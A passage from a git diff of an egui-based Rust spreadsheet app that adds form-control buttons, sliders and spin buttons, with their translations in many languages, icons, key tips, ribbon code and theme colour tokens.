"Sheet\nRight-to-Left" => "Φύλλο από\nδεξιά προς αριστερά", "Sheet Right-to-Left" => "Φύλλο από δεξιά προς αριστερά", "Data\nAnalysis" => "Ανάλυση\nδεδομένων", diff --git a/crates/ui-egui/src/i18n/es.rs b/crates/ui-egui/src/i18n/es.rs index a4b4e884a..9eb7f968a 100644 --- a/crates/ui-egui/src/i18n/es.rs +++ b/crates/ui-egui/src/i18n/es.rs @@ -245,6 +245,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Convert to Comments" => "Convertir en comentarios", "Checkbox" => "Casilla", "Insert checkboxes in the selected cells" => "Insertar casillas en las celdas seleccionadas", + "Button" => "Botón", + "Slider" => "Control deslizante", + "Spin Button" => "Control de número", + "Draw a button that runs a macro or a command" => "Dibujar un botón que ejecuta una macro o un comando", + "Draw a slider that sets a whole number in a linked cell" => { + "Dibujar un control deslizante que establece un número entero en una celda vinculada" + } + "Draw a spin button that steps a whole number in a linked cell" => { + "Dibujar un control de número que cambia un número entero en una celda vinculada" + } + "Edit Text" => "Modificar texto", + "Assign Action…" => "Asignar acción…", + "Format Control…" => "Formato de control…", "Sheet\nRight-to-Left" => "Hoja de derecha\na izquierda", "Sheet Right-to-Left" => "Hoja de derecha a izquierda", "Data\nAnalysis" => "Análisis\nde datos", diff --git a/crates/ui-egui/src/i18n/fr.rs b/crates/ui-egui/src/i18n/fr.rs index fdb20f7bf..e6a1e4edb 100644 --- a/crates/ui-egui/src/i18n/fr.rs +++ b/crates/ui-egui/src/i18n/fr.rs @@ -118,6 +118,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Courbes de tendance", "Checkbox" => "Case à cocher", "Insert checkboxes in the selected cells" => "Insérer des cases à cocher dans les cellules sélectionnées", + "Button" => "Bouton", + "Slider" => "Curseur", + "Spin Button" => "Toupie", + "Draw a button that runs a macro or a command" => "Dessiner un bouton qui exécute une macro ou une commande", + "Draw a slider that sets a whole number in a linked cell" => "Dessiner un curseur qui définit un nombre entier dans une cellule liée", + "Draw a spin button that steps a whole number in a linked cell" => { + "Dessiner une toupie qui modifie par pas un nombre entier dans une cellule liée" + } + "Edit Text" => "Modifier le texte", + "Assign Action…" => "Affecter une action…", + "Format Control…" => "Format de contrôle…", "Header & Footer" => "En-tête et pied de page", "Draw with ink" => "Dessiner à l'encre", "Eraser" => "Gomme", diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index 31bc6721c..87726f66b 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -111,6 +111,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Sparkline", "Checkbox" => "Casella di controllo", "Insert checkboxes in the selected cells" => "Inserisci caselle di controllo nelle celle selezionate", + "Button" => "Pulsante", + "Slider" => "Dispositivo di scorrimento", + "Spin Button" => "Pulsante di selezione", + "Draw a button that runs a macro or a command" => "Disegna un pulsante che esegue una macro o un comando", + "Draw a slider that sets a whole number in a linked cell" => { + "Disegna un dispositivo di scorrimento che imposta un numero intero in una cella collegata" + } + "Draw a spin button that steps a whole number in a linked cell" => { + "Disegna un pulsante di selezione che modifica a passi un numero intero in una cella collegata" + } + "Edit Text" => "Modifica testo", + "Assign Action…" => "Assegna azione…", + "Format Control…" => "Formato controllo…", "Header & Footer" => "Intestazione e piè di pagina", "Draw with ink" => "Disegna a mano libera", "Eraser" => "Gomma", diff --git a/crates/ui-egui/src/i18n/ja.rs b/crates/ui-egui/src/i18n/ja.rs index 1f06755dd..202872cb9 100644 --- a/crates/ui-egui/src/i18n/ja.rs +++ b/crates/ui-egui/src/i18n/ja.rs @@ -115,6 +115,15 @@ pub(super) const CORE: &[(&str, &str)] = &[ ("Sparklines", "スパークライン"), ("Checkbox", "チェックボックス"), ("Insert checkboxes in the selected cells", "選択したセルにチェックボックスを挿入"), + ("Button", "ボタン"), + ("Slider", "スライダー"), + ("Spin Button", "スピン ボタン"), + ("Draw a button that runs a macro or a command", "マクロまたはコマンドを実行するボタンを描画"), + ("Draw a slider that sets a whole number in a linked cell", "リンクされたセルに整数を設定するスライダーを描画"), + ("Draw a spin button that steps a whole number in a linked cell", "リンクされたセルの整数を増減するスピン ボタンを描画"), + ("Edit Text", "テキストの編集"), + ("Assign Action…", "動作の登録…"), + ("Format Control…", "コントロールの書式設定…"), ("Header & Footer", "ヘッダーとフッター"), ("Draw with ink", "インクで描画"), ("Eraser", "消しゴム"), diff --git a/crates/ui-egui/src/i18n/ko.rs b/crates/ui-egui/src/i18n/ko.rs index c54ed7eee..bc189e74a 100644 --- a/crates/ui-egui/src/i18n/ko.rs +++ b/crates/ui-egui/src/i18n/ko.rs @@ -113,6 +113,15 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "스파크라인", "Checkbox" => "확인란", "Insert checkboxes in the selected cells" => "선택한 셀에 확인란 삽입", + "Button" => "단추", + "Slider" => "슬라이더", + "Spin Button" => "스핀 단추", + "Draw a button that runs a macro or a command" => "매크로나 명령을 실행하는 단추 그리기", + "Draw a slider that sets a whole number in a linked cell" => "연결된 셀에 정수를 설정하는 슬라이더 그리기", + "Draw a spin button that steps a whole number in a linked cell" => "연결된 셀의 정수를 증감하는 스핀 단추 그리기", + "Edit Text" => "텍스트 편집", + "Assign Action…" => "동작 지정…", + "Format Control…" => "컨트롤 서식…", "Header & Footer" => "머리글 및 바닥글", "Draw with ink" => "잉크로 그리기", "Eraser" => "지우개", diff --git a/crates/ui-egui/src/i18n/nl.rs b/crates/ui-egui/src/i18n/nl.rs index a28459f83..a89f7b322 100644 --- a/crates/ui-egui/src/i18n/nl.rs +++ b/crates/ui-egui/src/i18n/nl.rs @@ -112,6 +112,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Sparklines", "Checkbox" => "Checkbox", "Insert checkboxes in the selected cells" => "Checkboxes invoegen in de geselecteerde cellen", + "Button" => "Knop", + "Slider" => "Schuifregelaar", + "Spin Button" => "Kringveld", + "Draw a button that runs a macro or a command" => "Een knop tekenen die een macro of een opdracht uitvoert", + "Draw a slider that sets a whole number in a linked cell" => "Een schuifregelaar tekenen die een geheel getal in een gekoppelde cel instelt", + "Draw a spin button that steps a whole number in a linked cell" => { + "Een kringveld tekenen dat een geheel getal in een gekoppelde cel stapsgewijs wijzigt" + } + "Edit Text" => "Tekst bewerken", + "Assign Action…" => "Actie toewijzen…", + "Format Control…" => "Besturingselement opmaken…", "Header & Footer" => "Koptekst & voettekst", "Draw with ink" => "Tekenen met inkt", "Eraser" => "Gum", diff --git a/crates/ui-egui/src/i18n/pl.rs b/crates/ui-egui/src/i18n/pl.rs index d7741a9c6..5954d5806 100644 --- a/crates/ui-egui/src/i18n/pl.rs +++ b/crates/ui-egui/src/i18n/pl.rs @@ -107,6 +107,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Wykresy przebiegu w czasie", "Checkbox" => "Pole wyboru", "Insert checkboxes in the selected cells" => "Wstaw pola wyboru w zaznaczonych komórkach", + "Button" => "Przycisk", + "Slider" => "Suwak", + "Spin Button" => "Pokrętło", + "Draw a button that runs a macro or a command" => "Narysuj przycisk, który uruchamia makro lub polecenie", + "Draw a slider that sets a whole number in a linked cell" => "Narysuj suwak, który ustawia liczbę całkowitą w połączonej komórce", + "Draw a spin button that steps a whole number in a linked cell" => { + "Narysuj pokrętło, które zmienia o krok liczbę całkowitą w połączonej komórce" + } + "Edit Text" => "Edytuj tekst", + "Assign Action…" => "Przypisz akcję…", + "Format Control…" => "Formatuj formant…", "Header & Footer" => "Nagłówek i stopka", "Draw with ink" => "Rysuj piórem", "Eraser" => "Gumka", diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index c79be64e1..5b4233669 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -110,6 +110,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Minigráficos", "Checkbox" => "Caixa de Seleção", "Insert checkboxes in the selected cells" => "Inserir caixas de seleção nas células selecionadas", + "Button" => "Botão", + "Slider" => "Controle Deslizante", + "Spin Button" => "Botão de Rotação", + "Draw a button that runs a macro or a command" => "Desenhar um botão que executa uma macro ou um comando", + "Draw a slider that sets a whole number in a linked cell" => { + "Desenhar um controle deslizante que define um número inteiro em uma célula vinculada" + } + "Draw a spin button that steps a whole number in a linked cell" => { + "Desenhar um botão de rotação que altera um número inteiro em uma célula vinculada" + } + "Edit Text" => "Editar Texto", + "Assign Action…" => "Atribuir Ação…", + "Format Control…" => "Formatar Controle…", "Header & Footer" => "Cabeçalho e Rodapé", "Draw with ink" => "Desenhar com Tinta", "Eraser" => "Borracha", diff --git a/crates/ui-egui/src/i18n/ro.rs b/crates/ui-egui/src/i18n/ro.rs index 058911d87..8f8f5940f 100644 --- a/crates/ui-egui/src/i18n/ro.rs +++ b/crates/ui-egui/src/i18n/ro.rs @@ -114,6 +114,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Diagrame sparkline", "Checkbox" => "Casetă de selectare", "Insert checkboxes in the selected cells" => "Inserați casete de selectare în celulele selectate", + "Button" => "Buton", + "Slider" => "Glisor", + "Spin Button" => "Buton rotativ", + "Draw a button that runs a macro or a command" => "Desenați un buton care rulează o macrocomandă sau o comandă", + "Draw a slider that sets a whole number in a linked cell" => "Desenați un glisor care setează un număr întreg într-o celulă legată", + "Draw a spin button that steps a whole number in a linked cell" => { + "Desenați un buton rotativ care modifică pas cu pas un număr întreg într-o celulă legată" + } + "Edit Text" => "Editare text", + "Assign Action…" => "Atribuire acțiune…", + "Format Control…" => "Formatare control…", "Header & Footer" => "Antet și subsol", "Draw with ink" => "Desenare cu cerneală", "Eraser" => "Radieră", diff --git a/crates/ui-egui/src/i18n/ru.rs b/crates/ui-egui/src/i18n/ru.rs index b0e894095..42eef64b6 100644 --- a/crates/ui-egui/src/i18n/ru.rs +++ b/crates/ui-egui/src/i18n/ru.rs @@ -113,6 +113,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Спарклайны", "Checkbox" => "Флажок", "Insert checkboxes in the selected cells" => "Вставить флажки в выбранные ячейки", + "Button" => "Кнопка", + "Slider" => "Ползунок", + "Spin Button" => "Счётчик", + "Draw a button that runs a macro or a command" => "Нарисовать кнопку, которая запускает макрос или команду", + "Draw a slider that sets a whole number in a linked cell" => "Нарисовать ползунок, который задаёт целое число в связанной ячейке", + "Draw a spin button that steps a whole number in a linked cell" => { + "Нарисовать счётчик, который изменяет целое число в связанной ячейке с шагом" + } + "Edit Text" => "Изменить текст", + "Assign Action…" => "Назначить действие…", + "Format Control…" => "Формат элемента управления…", "Header & Footer" => "Верхний и нижний колонтитулы", "Draw with ink" => "Рисование от руки", "Eraser" => "Ластик", diff --git a/crates/ui-egui/src/i18n/sr.rs b/crates/ui-egui/src/i18n/sr.rs index c9ce49e9e..ff4aec29b 100644 --- a/crates/ui-egui/src/i18n/sr.rs +++ b/crates/ui-egui/src/i18n/sr.rs @@ -114,6 +114,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Mini grafikoni", "Checkbox" => "Polje za potvrdu", "Insert checkboxes in the selected cells" => "Umetni polja za potvrdu u izabrane ćelije", + "Button" => "Dugme", + "Slider" => "Klizač", + "Spin Button" => "Dugme za okretanje", + "Draw a button that runs a macro or a command" => "Nacrtaj dugme koje pokreće makro ili komandu", + "Draw a slider that sets a whole number in a linked cell" => "Nacrtaj klizač koji postavlja ceo broj u povezanoj ćeliji", + "Draw a spin button that steps a whole number in a linked cell" => { + "Nacrtaj dugme za okretanje koje menja ceo broj u povezanoj ćeliji po koracima" + } + "Edit Text" => "Uredi tekst", + "Assign Action…" => "Dodeli radnju…", + "Format Control…" => "Oblikuj kontrolu…", "Header & Footer" => "Zaglavlje i podnožje", "Draw with ink" => "Crtaj mastilom", "Eraser" => "Gumica", diff --git a/crates/ui-egui/src/i18n/tr.rs b/crates/ui-egui/src/i18n/tr.rs index 68cd198bb..4d3bd2df7 100644 --- a/crates/ui-egui/src/i18n/tr.rs +++ b/crates/ui-egui/src/i18n/tr.rs @@ -241,6 +241,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Convert to Comments" => "Açıklamalara Dönüştür", "Checkbox" => "Onay Kutusu", "Insert checkboxes in the selected cells" => "Seçili hücrelere onay kutuları ekle", + "Button" => "Düğme", + "Slider" => "Kaydırıcı", + "Spin Button" => "Döndürme Düğmesi", + "Draw a button that runs a macro or a command" => "Makro veya komut çalıştıran bir düğme çiz", + "Draw a slider that sets a whole number in a linked cell" => "Bağlı bir hücrede tamsayı ayarlayan bir kaydırıcı çiz", + "Draw a spin button that steps a whole number in a linked cell" => { + "Bağlı bir hücredeki tamsayıyı adım adım değiştiren bir döndürme düğmesi çiz" + } + "Edit Text" => "Metni Düzenle", + "Assign Action…" => "Eylem Ata…", + "Format Control…" => "Denetimi Biçimlendir…", "Sheet\nRight-to-Left" => "Sayfa\nSağdan Sola", "Sheet Right-to-Left" => "Sayfa Sağdan Sola", "Data\nAnalysis" => "Veri\nAnalizi", diff --git a/crates/ui-egui/src/i18n/uk.rs b/crates/ui-egui/src/i18n/uk.rs index 72c1bf474..1920d106d 100644 --- a/crates/ui-egui/src/i18n/uk.rs +++ b/crates/ui-egui/src/i18n/uk.rs @@ -109,6 +109,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Спарклайни", "Checkbox" => "Прапорець", "Insert checkboxes in the selected cells" => "Вставити прапорці у виділені комірки", + "Button" => "Кнопка", + "Slider" => "Повзунок", + "Spin Button" => "Лічильник", + "Draw a button that runs a macro or a command" => "Намалювати кнопку, яка запускає макрос або команду", + "Draw a slider that sets a whole number in a linked cell" => "Намалювати повзунок, який задає ціле число у зв’язаній комірці", + "Draw a spin button that steps a whole number in a linked cell" => { + "Намалювати лічильник, який змінює ціле число у зв’язаній комірці з кроком" + } + "Edit Text" => "Редагувати текст", + "Assign Action…" => "Призначити дію…", + "Format Control…" => "Формат елемента керування…", "Header & Footer" => "Верхній і нижній колонтитули", "Draw with ink" => "Малювання від руки", "Eraser" => "Гумка", diff --git a/crates/ui-egui/src/i18n/vi.rs b/crates/ui-egui/src/i18n/vi.rs index df76b4a93..0a8db64f5 100644 --- a/crates/ui-egui/src/i18n/vi.rs +++ b/crates/ui-egui/src/i18n/vi.rs @@ -115,6 +115,15 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "Biểu đồ thu nhỏ", "Checkbox" => "Hộp kiểm", "Insert checkboxes in the selected cells" => "Chèn hộp kiểm vào các ô đã chọn", + "Button" => "Nút", + "Slider" => "Thanh trượt", + "Spin Button" => "Nút xoay", + "Draw a button that runs a macro or a command" => "Vẽ một nút chạy macro hoặc lệnh", + "Draw a slider that sets a whole number in a linked cell" => "Vẽ một thanh trượt đặt số nguyên trong ô được liên kết", + "Draw a spin button that steps a whole number in a linked cell" => "Vẽ một nút xoay thay đổi từng bước số nguyên trong ô được liên kết", + "Edit Text" => "Sửa văn bản", + "Assign Action…" => "Gán hành động…", + "Format Control…" => "Định dạng điều khiển…", "Header & Footer" => "Đầu trang & Chân trang", "Draw with ink" => "Vẽ bằng mực", "Eraser" => "Tẩy", diff --git a/crates/ui-egui/src/i18n/zh.rs b/crates/ui-egui/src/i18n/zh.rs index d6dd0eabd..831ac8401 100644 --- a/crates/ui-egui/src/i18n/zh.rs +++ b/crates/ui-egui/src/i18n/zh.rs @@ -113,6 +113,15 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Sparklines" => "迷你图", "Checkbox" => "复选框", "Insert checkboxes in the selected cells" => "在所选单元格中插入复选框", + "Button" => "按钮", + "Slider" => "滑块", + "Spin Button" => "数值调节钮", + "Draw a button that runs a macro or a command" => "绘制运行宏或命令的按钮", + "Draw a slider that sets a whole number in a linked cell" => "绘制在链接单元格中设置整数的滑块", + "Draw a spin button that steps a whole number in a linked cell" => "绘制按步长调整链接单元格中整数的数值调节钮", + "Edit Text" => "编辑文字", + "Assign Action…" => "指定操作…", + "Format Control…" => "设置控件格式…", "Header & Footer" => "页眉和页脚", "Draw with ink" => "墨迹绘制", "Eraser" => "橡皮擦", diff --git a/crates/ui-egui/src/icons.rs b/crates/ui-egui/src/icons.rs index c1f894ea9..e7e3c948f 100644 --- a/crates/ui-egui/src/icons.rs +++ b/crates/ui-egui/src/icons.rs @@ -85,6 +85,12 @@ pub enum Icon { Symbol, Sparkline, Checkbox, + /// A form button with a pointer. + Button, + /// A form slider (scroll bar). + Slider, + /// A form spin button. + Spin, Function, Name, Trace, @@ -485,6 +491,23 @@ fn paint_with(p: &Painter, rect: Rect, icon: Icon, c: Color32, pal: &Palette) { g.rect(2.0, 2.0, 12.0, 12.0, None, Some(c)); g.line(&[(4.5, 8.0), (7.0, 10.5), (11.5, 5.0)], c, 1.4); } + Icon::Button => { + let frame = Rect::from_min_max(g.pt(1.5, 3.0), g.pt(14.5, 11.0)); + g.p.rect_filled(frame, 2.0 * g.s, paper); + g.p.rect_stroke(frame, 2.0 * g.s, Stroke::new(1.0, c), egui::StrokeKind::Inside); + g.poly(&[(9.0, 7.5), (9.0, 15.0), (13.5, 12.5)], c); + } + Icon::Slider => { + g.line(&[(2.0, 8.0), (14.0, 8.0)], light, 1.6); + g.line(&[(2.0, 8.0), (7.0, 8.0)], blue, 1.6); + g.circle(7.0, 8.0, 2.4, Some(paper), Some(c)); + } + Icon::Spin => { + g.rect(4.0, 1.5, 8.0, 13.0, Some(paper), Some(c)); + g.stroke(&[(4.0, 8.0), (12.0, 8.0)], c); + g.poly(&[(8.0, 3.2), (10.5, 6.3), (5.5, 6.3)], c); + g.poly(&[(5.5, 9.7), (10.5, 9.7), (8.0, 12.8)], c); + } Icon::Fx => g.text(8.0, 8.0, "fx", 10.5, c, (false, true)), Icon::Plus => { g.line(&[(8.0, 3.0), (8.0, 13.0)], c, 1.3); diff --git a/crates/ui-egui/src/keytips/keytip_table/generated.rs b/crates/ui-egui/src/keytips/keytip_table/generated.rs index 2a2509f08..253c8321e 100644 --- a/crates/ui-egui/src/keytips/keytip_table/generated.rs +++ b/crates/ui-egui/src/keytips/keytip_table/generated.rs @@ -152,6 +152,7 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("HW", Entry::Continue), // Excel: Wrap Text Menu; group level: containment(Wrap Text) ("HWW", Entry::Finish(Action::Command("home.wrapText"))), // Excel: Wrap Text ("HX", Entry::Finish(Action::Command("edit.cut"))), // Excel: Cut + ("NBU", Entry::Finish(Action::Command("insert.button"))), // Excel: Button (Form Control) ("NC1", Entry::Finish(Action::Control("insert.chart.column"))), // Excel: Column Chart; Column chart (kind TBD) ("NC2", Entry::Finish(Action::Command("review.newComment"))), // Excel: New Comment ("NCM", Entry::Finish(Action::Dialog("comment"))), // Excel: Excel: New Comment (modern) @@ -179,10 +180,12 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("NQ", Entry::Finish(Action::Control("insert.chart.pie"))), // Excel: Pie Chart; Pie (kind TBD) ("NR", Entry::Finish(Action::Command("insert.recommendedCharts"))), // Excel: Recommended Charts ("NSA", Entry::Finish(Action::Control("insert.chart.statistic"))), // Excel: Statistical Chart; Statistical chart (kind TBD) + ("NSB", Entry::Finish(Action::Command("insert.spinButton"))), // Excel: Spin Button (Form Control) ("NSC", Entry::Finish(Action::Pending("insert.screenshot"))), // pending; Excel: Screenshot Menu; Screenshot; reserved until the command lands ("NSD", Entry::Finish(Action::Command("insert.chart"))), // Excel: Combo Chart; Combo (kind TBD) ("NSF", Entry::Finish(Action::Command("insert.slicer"))), // Excel: Slicer; insert.slicer missing (gap #8); reserved until the command lands ("NSH", Entry::Finish(Action::Command("insert.shape"))), // Excel: Shapes + ("NSL", Entry::Finish(Action::Command("insert.slider"))), // Excel: Scroll Bar (Form Control) ("NSP", Entry::Finish(Action::Command("insert.recommendedPivotTables"))), // Excel: Recommended PivotTables ("NST", Entry::Finish(Action::Pending("insert.timeline"))), // pending; Excel: Timeline; insert.timeline missing (gap #8); reserved until the command lands ("NSZ", Entry::Finish(Action::Command("insert.pivotChart"))), // Excel: PivotChart; PivotChart; reserved until the command lands diff --git a/crates/ui-egui/src/keytips/keytips.json b/crates/ui-egui/src/keytips/keytips.json index 5dfe7b2f5..fac814b70 100644 --- a/crates/ui-egui/src/keytips/keytips.json +++ b/crates/ui-egui/src/keytips/keytips.json @@ -1035,6 +1035,13 @@ "excel": "Cut", "note": "" }, + { + "seq": "NBU", + "kind": "command", + "target": "insert.button", + "excel": "Button (Form Control)", + "note": "" + }, { "seq": "NC1", "kind": "control", @@ -1222,6 +1229,13 @@ "excel": "Statistical Chart", "note": "Statistical chart (kind TBD)" }, + { + "seq": "NSB", + "kind": "command", + "target": "insert.spinButton", + "excel": "Spin Button (Form Control)", + "note": "" + }, { "seq": "NSC", "kind": "command", @@ -1252,6 +1266,13 @@ "excel": "Shapes", "note": "" }, + { + "seq": "NSL", + "kind": "command", + "target": "insert.slider", + "excel": "Scroll Bar (Form Control)", + "note": "" + }, { "seq": "NSP", "kind": "command", diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 76d66c4ca..502c7f8c0 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -21,6 +21,7 @@ mod cell_pictures; pub mod chartview; pub mod code_editor; pub mod control; +pub mod control_ui; mod craft_fonts_policy; pub mod credits; pub mod dialogs; @@ -30,6 +31,7 @@ pub mod doc_windows; pub mod editor; mod floating_pictures; pub mod fonts; +pub mod form_controls; pub mod formula_bar; mod formula_locale; pub mod grid; diff --git a/crates/ui-egui/src/objects.rs b/crates/ui-egui/src/objects.rs index e6afa30bd..93b6d6372 100644 --- a/crates/ui-egui/src/objects.rs +++ b/crates/ui-egui/src/objects.rs @@ -116,6 +116,8 @@ pub enum OpenAction { EditText(u32), /// The Format Chart pane. FormatChart(u32), + /// A form control's editor: a button's text, else Format Control. + EditControl(u32), /// Nothing beyond selecting it. Select, } @@ -124,7 +126,8 @@ pub fn open_action(sh: &Sheet, o: ObjRef) -> OpenAction { match o.kind { ObjKind::Chart => OpenAction::FormatChart(o.id), ObjKind::Shape if sh.shapes.iter().any(|s| s.id == o.id && s.kind == ShapeKind::TextBox) => OpenAction::EditText(o.id), - ObjKind::Shape | ObjKind::Image | ObjKind::Slicer | ObjKind::Control => OpenAction::Select, + ObjKind::Control => OpenAction::EditControl(o.id), + ObjKind::Shape | ObjKind::Image | ObjKind::Slicer => OpenAction::Select, } } @@ -138,6 +141,7 @@ impl SheetApp { self.begin_text_box_edit(id); } OpenAction::FormatChart(_) => self.grid.pane = Some("formatChart".into()), + OpenAction::EditControl(id) => crate::control_ui::edit(self, id), OpenAction::Select => {} } action diff --git a/crates/ui-egui/src/ribbon.rs b/crates/ui-egui/src/ribbon.rs index d2adc491e..2d5f42c5a 100644 --- a/crates/ui-egui/src/ribbon.rs +++ b/crates/ui-egui/src/ribbon.rs @@ -8,7 +8,9 @@ use crate::SheetApp; use crate::icons::{self, Icon}; use crate::keytips::keytip_table; use crate::theme::{self, Cat, Tokens}; -use crate::widgets::{big_button, big_split_button, color_palette, icon_button, small_button, small_split_button, split_button, toggle_button}; +use crate::widgets::{ + big_button, big_split_button, color_palette, icon_button, small_button, small_split_button, small_toggle_button, split_button, toggle_button, +}; mod automate; mod contextual; diff --git a/crates/ui-egui/src/ribbon/insert.rs b/crates/ui-egui/src/ribbon/insert.rs index 63f61f755..38a3cfeef 100644 --- a/crates/ui-egui/src/ribbon/insert.rs +++ b/crates/ui-egui/src/ribbon/insert.rs @@ -1,7 +1,7 @@ use super::controls::{act, anchor_keytip, control_keytip, invoke, popup_command, sep}; -use super::{Icon, Sense, SheetApp, Stroke, StrokeKind, Tokens, Ui, big_button, icons, json, small_button, vec2}; +use super::{Icon, Sense, SheetApp, Stroke, StrokeKind, Tokens, Ui, big_button, icons, json, small_button, small_toggle_button, vec2}; -/// Draws the Insert tab: PivotTable, Table, Pictures, Shapes, Icons, charts, slicer, sparklines, checkbox, links, comments, text box, header/footer and symbols. +/// Draws the Insert tab: PivotTable, Table, Pictures, Shapes, Icons, charts, slicer, sparklines, form controls (button, slider, spin button), checkbox, links, comments, text box, header/footer and symbols. pub(super) fn insert(app: &mut SheetApp, ui: &mut Ui) { let __k = big_button(ui, Icon::PivotTable, "PivotTable", "PivotTable", false); control_keytip(app, ui, &__k, "insert.pivotTable"); @@ -165,6 +165,26 @@ pub(super) fn insert(app: &mut SheetApp, ui: &mut Ui) { } }); sep(ui); + // Form controls: draw a button, slider or spin button on the sheet (a click places it at its + // default size). Their key tips run the command at the active cell. + use gridcraft_engine::model::ControlKind; + let placing = app.grid.placing; + ui.vertical(|ui| { + for (icon, kind, label, tip, id) in [ + (Icon::Button, ControlKind::Button, "Button", "Draw a button that runs a macro or a command", "insert.button"), + (Icon::Slider, ControlKind::Slider, "Slider", "Draw a slider that sets a whole number in a linked cell", "insert.slider"), + (Icon::Spin, ControlKind::Spin, "Spin Button", "Draw a spin button that steps a whole number in a linked cell", "insert.spinButton"), + ] { + let on = placing == Some(kind); + let r = small_toggle_button(ui, icon, label, tip, on); + control_keytip(app, ui, &r, id); + if r.clicked() { + app.grid.placing = if placing == Some(kind) { None } else { Some(kind) }; + app.selected_object = None; + } + } + }); + sep(ui); // Cell Controls. if big_button(ui, Icon::Checkbox, "Checkbox", "Insert checkboxes in the selected cells", false).clicked() { act(app, "insert.checkbox", json!({})); diff --git a/crates/ui-egui/src/theme.rs b/crates/ui-egui/src/theme.rs index f37eb0c35..a0b267c13 100644 --- a/crates/ui-egui/src/theme.rs +++ b/crates/ui-egui/src/theme.rs @@ -102,8 +102,17 @@ pub struct Tokens { pub sheet_control_bg: Color32, pub sheet_control_border: Color32, pub sheet_control_text: Color32, - /// A placeholder fill on the sheet (a picture that has not loaded). + /// A placeholder fill on the sheet (a picture that has not loaded), and a form slider's track. pub sheet_track: Color32, + /// A form slider's thumb. + pub sheet_thumb: Color32, + /// A form button or spin arrow under the pointer, and pressed. + pub sheet_control_hover: Color32, + pub sheet_control_pressed: Color32, + /// The filled part of a form slider's track (from the minimum to the thumb). + pub sheet_fill: Color32, + /// The ring around the form control that takes the arrow keys. + pub sheet_focus: Color32, /// The macro recording dot (Record Macro, the status bar). pub recording: Color32, /// A breakpoint dot in the macro step editor's gutter. @@ -165,6 +174,11 @@ const SHEET_CONTROL_BG: Color32 = rgb(0xF3F3F3); const SHEET_CONTROL_BORDER: Color32 = rgb(0x8A8A8A); const SHEET_CONTROL_TEXT: Color32 = rgb(0x1F1F1F); const SHEET_TRACK: Color32 = rgb(0xD6D6D6); +const SHEET_THUMB: Color32 = rgb(0x6B6B6B); +const SHEET_CONTROL_HOVER: Color32 = rgb(0xE4E4E4); +const SHEET_CONTROL_PRESSED: Color32 = rgb(0xCFCFCF); +const SHEET_FILL: Color32 = rgb(0x107C41); +const SHEET_FOCUS: Color32 = rgb(0x107C41); impl Tokens { pub fn light() -> Tokens { @@ -238,6 +252,11 @@ impl Tokens { sheet_control_border: SHEET_CONTROL_BORDER, sheet_control_text: SHEET_CONTROL_TEXT, sheet_track: SHEET_TRACK, + sheet_thumb: SHEET_THUMB, + sheet_control_hover: SHEET_CONTROL_HOVER, + sheet_control_pressed: SHEET_CONTROL_PRESSED, + sheet_fill: SHEET_FILL, + sheet_focus: SHEET_FOCUS, recording: pick(dark, rgb(0xC42B1C), rgb(0xF1705F)), breakpoint: pick(dark, rgb(0xD13438), rgb(0xF1707A)), sheet_macro_input: SHEET_MACRO_INPUT, @@ -385,6 +404,12 @@ mod contrast_tests { add("selection border on sheet", t.sel_border, t.grid_bg, GLYPH); add("sheet control text", t.sheet_control_text, t.sheet_control_bg, TEXT); add("sheet control border on sheet", t.sheet_control_border, t.grid_bg, GLYPH); + add("slider thumb on track", t.sheet_thumb, t.sheet_track, GLYPH); + add("sheet control text on hover", t.sheet_control_text, t.sheet_control_hover, TEXT); + add("sheet control text when pressed", t.sheet_control_text, t.sheet_control_pressed, TEXT); + add("slider fill on sheet", t.sheet_fill, t.grid_bg, GLYPH); + add("slider fill on track", t.sheet_fill, t.sheet_track, GLYPH); + add("control focus ring on sheet", t.sheet_focus, t.grid_bg, GLYPH); add("recording dot on ribbon", t.recording, t.ribbon, GLYPH); add("recording dot on status bar", t.recording, t.status_bar, GLYPH); for (name, c) in [ @@ -435,6 +460,10 @@ mod contrast_tests { (l.sheet_control_bg, l.sheet_control_border, l.sheet_control_text, l.sheet_track), (d.sheet_control_bg, d.sheet_control_border, d.sheet_control_text, d.sheet_track) ); + assert_eq!( + (l.sheet_thumb, l.sheet_control_hover, l.sheet_control_pressed, l.sheet_fill, l.sheet_focus), + (d.sheet_thumb, d.sheet_control_hover, d.sheet_control_pressed, d.sheet_fill, d.sheet_focus) + ); assert_eq!( (l.sheet_macro_input, l.sheet_macro_footprint, l.sheet_macro_conflict, l.sheet_macro_target), (d.sheet_macro_input, d.sheet_macro_footprint, d.sheet_macro_conflict, d.sheet_macro_target) diff --git a/crates/ui-egui/tests/it/form_controls.rs b/crates/ui-egui/tests/it/form_controls.rs new file mode 100644 index 000000000..79823f62c --- /dev/null +++ b/crates/ui-egui/tests/it/form_controls.rs @@ -0,0 +1,421 @@ +//! Form controls through real pointer and keyboard input: dragging a slider (one undo step), +//! paging on the track, clicking and holding spin arrows, keyboard steps, a button running its +//! macro, Cmd+click or right-click selecting a control without running it, right-to-left +//! 